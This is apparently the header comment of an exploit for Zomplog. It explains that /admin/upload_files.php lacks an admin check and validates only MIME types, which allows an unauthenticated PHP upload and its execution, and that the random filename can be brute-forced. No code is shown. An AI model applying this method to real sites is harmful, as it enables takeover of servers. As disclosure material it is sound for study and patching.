/**
* software site: http://zomplog.zomp.nl/
*
* i) /admin/upload_files.php is supposed to be run only from admin panel
* (it is included in /admin/editor.php, other admin scripts) but unathorized
* users can call it directly, because the script doesnt check if you are admin
* ii) /admin/upload_files.php allows to upload any files: it checks only
* MIME-types of the files but not the extensions. For example, it is possible
* to upload php script and then execute it
* iii) uploaded file will be moved to /upload directory and its name will
* have the format like this:
* [YearMonthDay]_[RandomNumberFrom1To999]_[OriginalFilename]
* In the version 3.8.1 additional prefix is used. By default /upload is not
* protected by .htaccess, so we can get the contents of it.
* However sometimes directory listing is denied and in this case we need to
* brute the filename (max number of requests is 999)
